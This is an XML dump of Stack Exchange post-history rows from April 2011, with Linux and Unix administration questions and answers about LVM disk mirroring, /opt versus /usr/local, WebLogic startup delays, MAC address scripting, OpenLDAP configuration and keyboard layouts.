  <row Id="28032" PostHistoryTypeId="1" PostId="11550" RevisionGUID="ac8c11cc-acdb-4502-969e-edac839606b3" CreationDate="2011-04-18T10:37:38.293" UserId="688" Text="How to make Nautilus notice changes regarding group permissions" />
  <row Id="28033" PostHistoryTypeId="3" PostId="11550" RevisionGUID="ac8c11cc-acdb-4502-969e-edac839606b3" CreationDate="2011-04-18T10:37:38.293" UserId="688" Text="épermissionsàénautilusàégroupà" />
  <row Id="28034" PostHistoryTypeId="2" PostId="11551" RevisionGUID="dd400258-7586-4853-b7a1-493d971f2bc6" CreationDate="2011-04-18T07:30:09.517" UserDisplayName="Goldi" Text="Hi All,&#xD;&#xA;&#xD;&#xA;in my test machine i can see the filesystem list using bdf commands.&#xD;&#xA;&#xD;&#xA;    $bdf  &#xD;&#xA;    Filesystem          kbytes    used   avail %used Mounted on  &#xD;&#xA;    /dev/vg00/lvol3    58916864 6242747 49386840   11% /  &#xD;&#xA;    /dev/vg00/lvol1    2003481   47996 1755136    3% /stand  &#xD;&#xA;    /dev/vg77/stds     5120000   18753 4782427    0% /var/opt/stdenv  &#xD;&#xA;    /dev/vg77/scrap    3584000   18684 3342490    1% /tms/vts  &#xD;&#xA;    /dev/vg77/cmdsscrap&#xD;&#xA;                   3584000  530986 2862264   16% /mnt  &#xD;&#xA;&#xD;&#xA;I have a scenario where i have to test the sar(1m) command to check the disk activity.&#xD;&#xA;for that i need a filesystem which is mirrored and configured with more then one disk.&#xD;&#xA;&#xD;&#xA;But unfortunately the above existing filesystems are having only one disk mirrored with it.&#xD;&#xA;&#xD;&#xA;    # lvdisplay -v /dev/vg00/lvol1&#xD;&#xA;    --- Logical volumes ---&#xD;&#xA;    LV Name                     /dev/vg00/lvol1&#xD;&#xA;    VG Name                     /dev/vg00&#xD;&#xA;    LV Permission               read/write                &#xD;&#xA;    LV Status                   available/syncd           &#xD;&#xA;    Mirror copies               0            &#xD;&#xA;    Consistency Recovery        MWC                 &#xD;&#xA;    Schedule                    parallel      &#xD;&#xA;    LV Size (Mbytes)            2000            &#xD;&#xA;    Current LE                  125       &#xD;&#xA;    Allocated PE                125         &#xD;&#xA;    Stripes                     0       &#xD;&#xA;    Stripe Size (Kbytes)        0                   &#xD;&#xA;    Bad block                   off          &#xD;&#xA;    Allocation                  strict/contiguous         &#xD;&#xA;    IO Timeout (Seconds)        default             &#xD;&#xA;&#xD;&#xA;    --- Distribution of logical volume ---&#xD;&#xA;    PV Name                 LE on PV  PE on PV  &#xD;&#xA;    /dev/disk/disk4         125       125  &lt;-- Only one disk is mirrored.&#xD;&#xA;&#xD;&#xA;Can anyone please let me know, How to add another disk into these existing filesystem?&#xD;&#xA;Please help me with the steps for mirroring the disk with filesystem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks &amp; Regards " />
  <row Id="28035" PostHistoryTypeId="1" PostId="11551" RevisionGUID="dd400258-7586-4853-b7a1-493d971f2bc6" CreationDate="2011-04-18T07:30:09.517" UserDisplayName="Goldi" Text="How to Mirror one more disk on existing filesystem" />
  <row Id="28036" PostHistoryTypeId="3" PostId="11551" RevisionGUID="dd400258-7586-4853-b7a1-493d971f2bc6" CreationDate="2011-04-18T07:30:09.517" UserDisplayName="Goldi" Text="éfilesystemsàémirroràéhpöuxà" />
  <row Id="28037" PostHistoryTypeId="17" PostId="11551" RevisionGUID="c4719466-cc59-4f3a-98c8-5f28d0723c14" CreationDate="2011-04-18T10:42:53.837" UserId="-1" Comment="from http://stackoverflow.com/questions/5699795/how-to-mirror-one-more-disk-on-existing-filesystem" Text="" />
  <row Id="28038" PostHistoryTypeId="2" PostId="11552" RevisionGUID="5b2699cb-c1fd-4447-8476-372eaa13ee1b" CreationDate="2011-04-18T11:35:26.107" UserId="2594" Text="While both designed to contain files not belonging to the Operating System, /opt and /usr/local aren't designed to contain the same set of files.&#xD;&#xA;&#xD;&#xA;/usr/local is a place to install files built (usually using the make command) by the administrator. The idea is to avoid clashes with files that are part of the operating systems that would either be overwritten or overwrite the local ones otherwise.&#xD;&#xA;eg. /usr/bin/foo is part of the OS while /usr/local/bin/foo is a local alternative.&#xD;&#xA;&#xD;&#xA;All files under /usr are shareable between OS instances although this is rarely done with Linux. This is a part where the LHS is weak, as /usr is defined to be read-only but /usr/local/bin need to be read write for installing software to succeed. The SVR4 file system standard which was the main source of inspiration for the LHS is recommending to avoid /usr/local and use /opt/local instead to avoid this contradiction. /usr/local is a legacy from the original BSD. At that time, the source code of /usr/bin OS commands were in /usr/src/bin (or /usr/src/usr.bin) while the source of commands developed locally were in /usr/local/src and their binaries in /usr/local/bin. There was no notion of packaging (outside tarballs) at that time.&#xD;&#xA;&#xD;&#xA;On the other hand, /opt is a directory to install unbundled packages each in their own subdirectory. These packages are whole already built packages provided by an independent third party software distributor. For example &quot;someapp&quot; would be installed in /opt/someapp and one of its command would be in /opt/someapp/bin/foo while its configuration file would be in /etc/opt/someapp/foo.conf and its log files in /var/opt/someapp/logs/foo.access." />
  <row Id="28039" PostHistoryTypeId="2" PostId="11553" RevisionGUID="d3320f62-0804-4ba4-9fac-07d2c86dcfab" CreationDate="2011-04-18T11:50:30.993" UserId="6702" Text="I've installed weblogic 10.3.3, configured simple domain with default configuration. And after starting weblogic I cannot use it via admin console because it is starting too slow (~10 mins). It seems that admin console application is being deployed incorrectly. Even when I enable 'staging' mode in AdminConsole deployment options, it does not help. Does anybody have a solution for this problem? It really bugs me out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Configuration properties:&#xD;&#xA;&#xD;&#xA;**Server:** [Dell PowerEdge r410 server][1] (Six-core Intel®  Xeon® x64 CPU, 8GB RAM)&#xD;&#xA;&#xD;&#xA;**OS:** Ubuntu Maverick 10.10 x86_64&#xD;&#xA;&#xD;&#xA;**Weblogic:** 10.3.3 x64 (used wls1033_generic.jar file for installation)&#xD;&#xA;&#xD;&#xA;**Java:**: 1.6.0_17_i586 (tried with different jdk's including x64, but it does not work either)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dell.com/us/en/highered/Servers/server-poweredge-r410/pd.aspx?refid=server-poweredge-r410&amp;cs=RC956904&amp;s=hied#reviews" />
  <row Id="28040" PostHistoryTypeId="1" PostId="11553" RevisionGUID="d3320f62-0804-4ba4-9fac-07d2c86dcfab" CreationDate="2011-04-18T11:50:30.993" UserId="6702" Text="Weblogic administration console way too slow" />
  <row Id="28041" PostHistoryTypeId="3" PostId="11553" RevisionGUID="d3320f62-0804-4ba4-9fac-07d2c86dcfab" CreationDate="2011-04-18T11:50:30.993" UserId="6702" Text="éubuntuàéjavaà" />
  <row Id="28042" PostHistoryTypeId="25" PostId="11542" RevisionGUID="bd1a09eb-a82a-457d-a3b8-bd28405bf425" CreationDate="2011-04-18T12:09:09.623" Comment="http://twitter.com/#!/StackUnix/status/59951598843080704" />
  <row Id="28043" PostHistoryTypeId="5" PostId="11533" RevisionGUID="22b98966-acf7-4f24-a634-63a86d76b74b" CreationDate="2011-04-18T12:56:02.683" UserId="6686" Comment="added 44 characters in body" Text="Hi:&#xD;&#xA;&#xD;&#xA;I know there's software like exim, qmail or others to do this, but I do not want to install big software eating performance in the host.&#xD;&#xA;&#xD;&#xA;What I need is a very simple daemon script receiving all emails of a domain name, and just forward to a script.&#xD;&#xA;&#xD;&#xA;I have the MX record of the domain pointing to the host, now I need some daemon listening on port 25 and answering correctly to the mail standard communications (helo, and that stuff), and then handle the mail to a script.&#xD;&#xA;&#xD;&#xA;Anyone know any solution or have information about this ?&#xD;&#xA;&#xD;&#xA;Thank you in advance&#xD;&#xA;&#xD;&#xA;P.D. the domain.com will JUST be incoming, i don't need that domain to have POP accounts, or send emails ... the domain will just only receive emails in *@domain.com, and I would like all of them to be redirected to a script.&#xD;&#xA;&#xD;&#xA;So it's not about outgoing email, but incoming!&#xD;&#xA;&#xD;&#xA;I would need it in C or Perl if possible" />
  <row Id="28044" PostHistoryTypeId="5" PostId="11379" RevisionGUID="f2eee666-63a8-4632-b7d7-bd78b4a4fd51" CreationDate="2011-04-18T13:06:17.583" UserId="3645" Comment="Clarification" Text="Is it possible to refer to indexes in `$@`? I can't find any reference to use like the following anywhere in [GrayCat's wiki][1], and the [Advanced Scripting Guide][2] and [others][3] assign this to a different variable before modifying that instead.&#xD;&#xA;&#xD;&#xA;    $ echo ${@[0]}&#xD;&#xA;    -bash: ${@[0]}: bad substitution&#xD;&#xA;&#xD;&#xA;The goal is [DRY][4]: The first argument is used for one thing, and the rest for something else, and I'd like to avoid duplicating either the code to normalize, the `$@` array, or to create a separate function for this (although at this point it's probably the easiest way out).&#xD;&#xA;&#xD;&#xA;Clarification: The object was to modify the values of the *variable-length* `$@` to make [the code][5] easier to debug. The current version is a bit too hacky for my liking, although it works even for bizarre paths like&#xD;&#xA;&#xD;&#xA;    $'--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;\' \n'&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/EnglishFrontPage&#xD;&#xA;  [2]: http://tldp.org/LDP/abs/html/internalvariables.html#ARGLIST&#xD;&#xA;  [3]: http://www.notesbit.com/index.php/scripts-unix/bash-script-passing-arguments-to-the-shell-script-unixlinux/&#xD;&#xA;  [4]: https://secure.wikimedia.org/wikipedia/en/wiki/Don%27t_repeat_yourself&#xD;&#xA;  [5]: https://github.com/l0b0/tilde/commit/ca080f72af6f7c609060655ccaf8a8391bb382c3" />
  <row Id="28045" PostHistoryTypeId="2" PostId="11554" RevisionGUID="1fb9e125-aa30-4ac3-94bc-3dd294442b88" CreationDate="2011-04-18T13:57:42.193" UserId="6705" Text="D-Link DIR 600 doesn't work entirely - so to speak - with OpenWRT! The B1 version DOESN'T WORK AT ALL! The B1 Version works with DD-WRT and DD-WRT only!&#xD;&#xA;The only version that works with is A1!" />
  <row Id="28046" PostHistoryTypeId="5" PostId="11549" RevisionGUID="afccf7f2-07f4-4031-a13c-f68c20948833" CreationDate="2011-04-18T14:07:59.317" UserId="73" Comment="deleted 56 characters in body; edited tags" Text="I'm using the Debian Squeeze OpenLDAP. Where can I set ACLs? Isn't it possible to execute the access to directives with `ldapmodify`? There's no `slapd.conf` file in Debian, they use a `slapd.d` folder&#xD;&#xA;" />
  <row Id="28047" PostHistoryTypeId="6" PostId="11549" RevisionGUID="afccf7f2-07f4-4031-a13c-f68c20948833" CreationDate="2011-04-18T14:07:59.317" UserId="73" Comment="deleted 56 characters in body; edited tags" Text="édebianàéldapà" />
  <row Id="28048" PostHistoryTypeId="25" PostId="11550" RevisionGUID="30762cea-b1ab-4680-a88b-5832dbfb1feb" CreationDate="2011-04-18T15:09:09.913" Comment="http://twitter.com/#!/StackUnix/status/59996899004002305" />
  <row Id="28049" PostHistoryTypeId="2" PostId="11555" RevisionGUID="3ca256c9-701c-4d60-b434-4d4998929b51" CreationDate="2011-04-18T15:17:46.633" UserId="6001" Text="With a bash script, can I read the mac address of my eth0 and print it to a file?" />
  <row Id="28050" PostHistoryTypeId="1" PostId="11555" RevisionGUID="3ca256c9-701c-4d60-b434-4d4998929b51" CreationDate="2011-04-18T15:17:46.633" UserId="6001" Text="Print mac address to file" />
  <row Id="28051" PostHistoryTypeId="3" PostId="11555" RevisionGUID="3ca256c9-701c-4d60-b434-4d4998929b51" CreationDate="2011-04-18T15:17:46.633" UserId="6001" Text="ébashàéfileàéethernetà" />
  <row Id="28052" PostHistoryTypeId="2" PostId="11556" RevisionGUID="57b7c463-f8b4-479c-adfb-122bb00e2d40" CreationDate="2011-04-18T15:19:22.403" UserId="5589" Text="Well, if you think Gentoo's emerge been pulling too many dependencies, you could try Slackware. Or one of its derivatives. Out-of-the-box, Slackware doesn't try to resolve dependencies. At all.&#xD;&#xA;&#xD;&#xA;You might also want to explore Lunar Linux, or CRUX." />
  <row Id="28053" PostHistoryTypeId="2" PostId="11557" RevisionGUID="4aef3b6a-1657-4061-b069-29fc8e1242fb" CreationDate="2011-04-18T15:20:34.307" UserId="6585" Text="I'm not saying this is a solution but it might help you on your way :-)&#xD;&#xA;&#xD;&#xA;I asked a similar question of serverfault. &#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/246252/openldap-rhel-6&#xD;&#xA;&#xD;&#xA;I never got an answer , in the end I had to create a slapd.conf and convert it to the slapd dir using the following commands ( note this was on RHEL)&#xD;&#xA;&#xD;&#xA;Remove the contents of the /etc/openldap/slapd.d/ directory:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    rm -rf /etc/openldap/slapd.d/* &#xD;&#xA;&#xD;&#xA;Edit your custom slapd.conf file.&#xD;&#xA;&#xD;&#xA;Run slaptest to check the validity of the configuration file and create a new slapd.d directory with your settings&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    slaptest -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d &#xD;&#xA;&#xD;&#xA;Configure permissions on the new directory so ldap doesnt moan.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    chown -R ldap:ldap /etc/openldap/slapd.d &#xD;&#xA;    &#xD;&#xA;    chmod -R 000 /etc/openldap/slapd.d &#xD;&#xA;    &#xD;&#xA;    chmod -R u+rwX /etc/openldap/slapd.d &#xD;&#xA;&#xD;&#xA;the start up your LDAP server.&#xD;&#xA;&#xD;&#xA;I created a small script to run these commands every time I made a change to slapd.conf&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;Andy &#xD;&#xA;" />
  <row Id="28054" PostHistoryTypeId="2" PostId="11558" RevisionGUID="bbbd64ea-ad6e-4620-a1ab-94191fdbe421" CreationDate="2011-04-18T15:32:38.463" UserId="2421" Text="    #! /bin/sh&#xD;&#xA;    &#xD;&#xA;    /sbin/ifconfig eth0 | perl -ne 'print &quot;$1\n&quot; if /HWaddr\s+(\S+)/' &gt;file&#xD;&#xA;&#xD;&#xA;There are other tools that could cut the MAC address out of `ifconfig`'s output, of course.  I just like Perl." />
  <row Id="28055" PostHistoryTypeId="2" PostId="11559" RevisionGUID="25fd5a8d-9729-4b57-817d-7adf0c3aa314" CreationDate="2011-04-18T15:33:07.980" UserId="6707" Text="I used to use a linux software that monitors logs like http, ssh, etc and if it detects that someone is trying to use brute force, it blocks that ip by adding a rule to iptables. I forgot what that software is called. It's opensource and free." />
  <row Id="28056" PostHistoryTypeId="1" PostId="11559" RevisionGUID="25fd5a8d-9729-4b57-817d-7adf0c3aa314" CreationDate="2011-04-18T15:33:07.980" UserId="6707" Text="Linux App that monitors log and add rules to iptables" />
  <row Id="28057" PostHistoryTypeId="3" PostId="11559" RevisionGUID="25fd5a8d-9729-4b57-817d-7adf0c3aa314" CreationDate="2011-04-18T15:33:07.980" UserId="6707" Text="élinuxàésecurityàéiptablesàéfirewallà" />
  <row Id="28058" PostHistoryTypeId="2" PostId="11560" RevisionGUID="b0ef51f6-c20c-4e7e-a775-33cde052509c" CreationDate="2011-04-18T15:35:25.993" UserId="73" Text="`ifconfig` will output information about your interfaces, including the MAC address:&#xD;&#xA;&#xD;&#xA;    $ ifconfig eth0&#xD;&#xA;    eth0      Link encap:Ethernet  HWaddr 00:11:22:33:44:55  &#xD;&#xA;              inet addr:10.0.0.1  Bcast:10.0.0.255  Mask:255.0.0.0&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:289748093 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:232688719 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000 &#xD;&#xA;              RX bytes:3264330708 (3.0 GiB)  TX bytes:4137701627 (3.8 GiB)&#xD;&#xA;              Interrupt:17 &#xD;&#xA;&#xD;&#xA;The `HWaddr` is what you want, so you can use `awk` to filter it:&#xD;&#xA;&#xD;&#xA;    $ ifconfig eth0 | awk '/HWaddr/ {print $NF}'&#xD;&#xA;    00:11:22:33:44:55&#xD;&#xA;&#xD;&#xA;Redirect that into a file:&#xD;&#xA;&#xD;&#xA;    $ ifconfig eth0 | awk '/HWaddr/ {print $NF}' &gt; filename&#xD;&#xA;" />
  <row Id="28059" PostHistoryTypeId="2" PostId="11561" RevisionGUID="cd1fa5e0-00df-4b7e-9c87-a28a6ce973d4" CreationDate="2011-04-18T15:36:14.593" UserId="2421" Text="[`fail2ban`][1] does that, although I don't think it's the only such tool.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fail2ban.org/" />
  <row Id="28060" PostHistoryTypeId="2" PostId="11562" RevisionGUID="3d81b165-4dac-430f-bcb5-5e469fdac901" CreationDate="2011-04-18T15:48:55.703" UserId="6001" Text="There is a undocumented parameter to udhcp which sends it to the background and allows to boot.&#xD;&#xA;&#xD;&#xA;    udhcpc -b" />
  <row Id="28061" PostHistoryTypeId="2" PostId="11563" RevisionGUID="71903496-13ef-468a-91b0-5ebaa9f95026" CreationDate="2011-04-18T16:02:57.327" UserId="6585" Text="Steps &#xD;&#xA;Add your extra disk and make sure the OS can see it.&#xD;&#xA;&#xD;&#xA;Create a PV with the new disk&#xD;&#xA;&#xD;&#xA;    pvcreate /dev/&lt;new device&gt;&#xD;&#xA;&#xD;&#xA;add the PV to the Volume Group&#xD;&#xA;&#xD;&#xA;    vgextend vg00 /dev/&lt;new device&gt;&#xD;&#xA;&#xD;&#xA;Attache the Volume group PV to the mirror&#xD;&#xA;&#xD;&#xA;    lvconvert -m 1  vg00/stand  -m 1 " />
  <row Id="28062" PostHistoryTypeId="2" PostId="11564" RevisionGUID="c5244715-1483-4910-bbd6-077d04354fe3" CreationDate="2011-04-18T16:05:25.537" UserId="6708" Text="All adding the U.S. English International (with dead keys) keyboard layout breaks my Alt_R key.  Any ideas why?&#xD;&#xA;&#xD;&#xA;I'm working on RHEL 5.5 using GNOME.  The problem disappears if I remove the additional layout and reappears if I add it back.&#xD;&#xA;&#xD;&#xA;Specific problems includt Alt-F2 not working to start the run application app if using Alt_R and CTRL-Alt-L not working for screen looking again if using Alt_R.&#xD;&#xA;&#xD;&#xA;I tried using xev to troubleshoot.  Here's what I get with just the U.S. English layout:&#xD;&#xA;&#xD;&#xA;    KeyPress event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766794207, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x0, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XmbLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766794447, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x8, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False  &#xD;&#xA;&#xD;&#xA;Here's what I get with the U.S. English International (with dead keys) layout:&#xD;&#xA;&#xD;&#xA;    KeyPress event, serial 26, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766853750, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x0, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XmbLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766853872, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x80, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;It makes no difference whether that layout is actually being used at the moment.  Just having it in the selected list breaks things.  If this is a bug, does anyone know where it should be filed (GNOME, Xorg, Redhat)?" />
  <row Id="28063" PostHistoryTypeId="1" PostId="11564" RevisionGUID="c5244715-1483-4910-bbd6-077d04354fe3" CreationDate="2011-04-18T16:05:25.537" UserId="6708" Text="Why does US Interantional Keyboard break Alt_R" />
  <row Id="28064" PostHistoryTypeId="3" PostId="11564" RevisionGUID="c5244715-1483-4910-bbd6-077d04354fe3" CreationDate="2011-04-18T16:05:25.537" UserId="6708" Text="égnomeàéxorgàékeyboardöshortcutsàérhelàékeyboardà" />
  <row Id="28065" PostHistoryTypeId="2" PostId="11565" RevisionGUID="b2b94779-93bc-43c1-8d55-0e3c66850e30" CreationDate="2011-04-18T16:18:25.977" UserId="1925" Text="On most international layouts, &lt;kbd&gt;Alt_R&lt;/kbd&gt; becomes an &lt;kbd&gt;AltGr&lt;/kbd&gt; (alternate group?) key, otherwise known as a 5th level chooser that gives you access to alternate letters, symbols, accents etc. Even though the keycode you are seeing is not properly remapped to this, I suspect the layout is EXPECTING it to be is hiccuping on the keycode.&#xD;&#xA;&#xD;&#xA;I suggest you look through the other tabs of gnome keyboard options and manually setup an AltGr key, maybe as that one, so the international layout will work to full effect." />
  <row Id="28066" PostHistoryTypeId="2" PostId="11566" RevisionGUID="0dfd3bdb-e508-47b1-91a3-264931242c7e" CreationDate="2011-04-18T16:47:17.120" UserId="4812" Text="I was assigned an Ubuntu desktop with some stuff already on it. I did not reformat it, but atached a mini-PCI wirless card over an PCI to mini-PCI adapter. I manually built the madwifi driver and installed it's .ko files.&#xD;&#xA;&#xD;&#xA;Now `lshw -C network` always shows the card, but it sometimes shows it as 'unclaimed' and sometimes it shows with the madwifi(i.e. ath_pci) driver. Any idea what can cause this effect?" />
  <row Id="28067" PostHistoryTypeId="1" PostId="11566" RevisionGUID="0dfd3bdb-e508-47b1-91a3-264931242c7e" CreationDate="2011-04-18T16:47:17.120" UserId="4812" Text="Driver is sometimes loaded, sometimes not" />
  <row Id="28068" PostHistoryTypeId="3" PostId="11566" RevisionGUID="0dfd3bdb-e508-47b1-91a3-264931242c7e" CreationDate="2011-04-18T16:47:17.120" UserId="4812" Text="éubuntuàénetworkingàédriversàéwirelessà" />
  <row Id="28069" PostHistoryTypeId="2" PostId="11567" RevisionGUID="27f9c6fb-7ffb-4c17-af53-373f0cf4c519" CreationDate="2011-04-18T16:51:03.997" UserId="1627" Text="Most keyboard layouts outside the U.S. attribute the right Alt key to a different purpose, called &lt;kbd&gt;AltGr&lt;/kbd&gt; (*Alt Graph*), which sort of makes the U.S. the exception to the rule. The AltGr key is sort of another kind of Shift key, intended to select extra characters available on the other keys. See the [Wikipedia article][1] on AltGr.&#xD;&#xA;&#xD;&#xA;So, if you want to issue a key combination with the Alt modifier, like Alt-F2 or Ctrl-Alt-L, be sure to press the *left* Alt key, since the right one has another purpose. It is just in the U.S. English layout that has no other use for that key that reassigns it as an additional Alt. Even the British English layout uses AltGr to issue characters like “€” and “£”.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/AltGr_key" />
  <row Id="28070" PostHistoryTypeId="5" PostId="11567" RevisionGUID="e68dcdc8-470d-41fc-afb3-03129dd600ee" CreationDate="2011-04-18T16:58:03.130" UserId="1627" Comment="added 49 characters in body" Text="Most keyboard layouts outside the U.S. attribute the right Alt key to a different purpose, called &lt;kbd&gt;AltGr&lt;/kbd&gt; (*Alt Graph*), which sort of makes the U.S. the exception to the rule. The AltGr key is sort of another kind of Shift key, intended to select extra characters available on the other keys. See the [Wikipedia article][1] on AltGr.&#xD;&#xA;&#xD;&#xA;So, if you want to issue a key combination with the Alt modifier, like Alt-F2 or Ctrl-Alt-L, be sure to press the *left* Alt key, since the right one has another purpose. It is just in the U.S. English layout that has no other use for that key that reassigns it (or better, keeps the original old assignment) as an additional Alt key. Even the British English layout uses AltGr to issue characters like “€” and “£”.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/AltGr_key" />
  <row Id="28071" PostHistoryTypeId="2" PostId="11568" RevisionGUID="72daa818-dab6-4d2c-8bf7-3ada180c4361" CreationDate="2011-04-18T17:04:30.863" UserId="6702" Text="Turns out weblogic uses random number generator during startup. Because of the bug in java it reads random bits from `/dev/random`. There are almost no problems with `/dev/random` except that it is extremely slow. It takes sometimes 10 minutes or more to generate one number. Simple solution exists – using `/dev/urandom` instead. It is not that good as `/dev/random`, but at least it is instant.&#xD;&#xA;Java somehow maps `/dev/urandom` file to `/dev/random`. That’s why default settings in `$JAVA_HOME/jre/lib/security/java.security` are useless, they just do not make any sense.&#xD;&#xA;&#xD;&#xA;Problem fix is very simple – adding string `export JAVA_OPTIONS=&quot;-Djava.security.egd=file:/dev/./urandom&quot;` to the `/etc/bash.bashrc` file. Usage of `/dev/./urandom` instead of simple `/dev/urandom` is another hack. JVM does not understand the option value otherwise.&#xD;&#xA;&#xD;&#xA;Be aware of this problem if you try to setup weblogic under UNIX-based OS.&#xD;&#xA;" />
  <row Id="28072" PostHistoryTypeId="5" PostId="11564" RevisionGUID="7219ab19-363a-4e05-a5bd-cc48b7ffbeea" CreationDate="2011-04-18T17:29:53.977" UserId="2421" Comment="fixed typos" Text="All adding the U.S. English International (with dead keys) keyboard layout breaks my Alt_R key.  Any ideas why?&#xD;&#xA;&#xD;&#xA;I'm working on RHEL 5.5 using GNOME.  The problem disappears if I remove the additional layout and reappears if I add it back.&#xD;&#xA;&#xD;&#xA;Specific problems include Alt-F2 not working to start the run application app if using Alt_R and CTRL-Alt-L not working for screen looking again if using Alt_R.&#xD;&#xA;&#xD;&#xA;I tried using xev to troubleshoot.  Here's what I get with just the U.S. English layout:&#xD;&#xA;&#xD;&#xA;    KeyPress event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766794207, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x0, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XmbLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766794447, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x8, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False  &#xD;&#xA;&#xD;&#xA;Here's what I get with the U.S. English International (with dead keys) layout:&#xD;&#xA;&#xD;&#xA;    KeyPress event, serial 26, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766853750, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x0, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XmbLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766853872, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x80, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;It makes no difference whether that layout is actually being used at the moment.  Just having it in the selected list breaks things.  If this is a bug, does anyone know where it should be filed (GNOME, Xorg, Redhat)?" />
  <row Id="28073" PostHistoryTypeId="4" PostId="11564" RevisionGUID="7219ab19-363a-4e05-a5bd-cc48b7ffbeea" CreationDate="2011-04-18T17:29:53.977" UserId="2421" Comment="fixed typos" Text="Why does US International Keyboard break Alt_R" />
  <row Id="28074" PostHistoryTypeId="2" PostId="11569" RevisionGUID="73c34e7d-7390-4c80-8686-5a0c0a823125" CreationDate="2011-04-18T17:55:45.780" UserId="6714" Text="First, I don't think there is a strict answer; different&#xD;&#xA;adminstrators will have different opinions, according to their&#xD;&#xA;background.  Historically, `/usr/local` came first; it was the&#xD;&#xA;convention in Berkley, IIRC.  At one point during the&#xD;&#xA;development of System V, if I'm not mistaken (this is all a long&#xD;&#xA;time ago, and I didn't take notes), there was a decision or&#xD;&#xA;a desire to be able to mount `/usr` read-only, which meant you&#xD;&#xA;couldn't add new software to it; that may have been why `/opt`&#xD;&#xA;was invented.  As it happens, there was just so much existing&#xD;&#xA;software that did write to `/usr` that that idea never really&#xD;&#xA;got off the ground.&#xD;&#xA;&#xD;&#xA;My personal preference is `/opt`, with a separate subdirectory&#xD;&#xA;for each product; this makes removing a product a simple case of&#xD;&#xA;`rm -fr`.  But if all of your software is installed via a good&#xD;&#xA;package manager, it doesn't matter, and if the software you&#xD;&#xA;install doesn't strictly obey these conventions, and writes&#xD;&#xA;configurations and such somewhere under `/usr`, it doesn't&#xD;&#xA;matter either, although for the opposite reasons.&#xD;&#xA;" />
  <row Id="28075" PostHistoryTypeId="25" PostId="11555" RevisionGUID="b5d8ad75-5807-40f7-877b-c04454ac33b5" CreationDate="2011-04-18T18:09:09.630" Comment="http://twitter.com/#!/StackUnix/status/60042195339714561" />
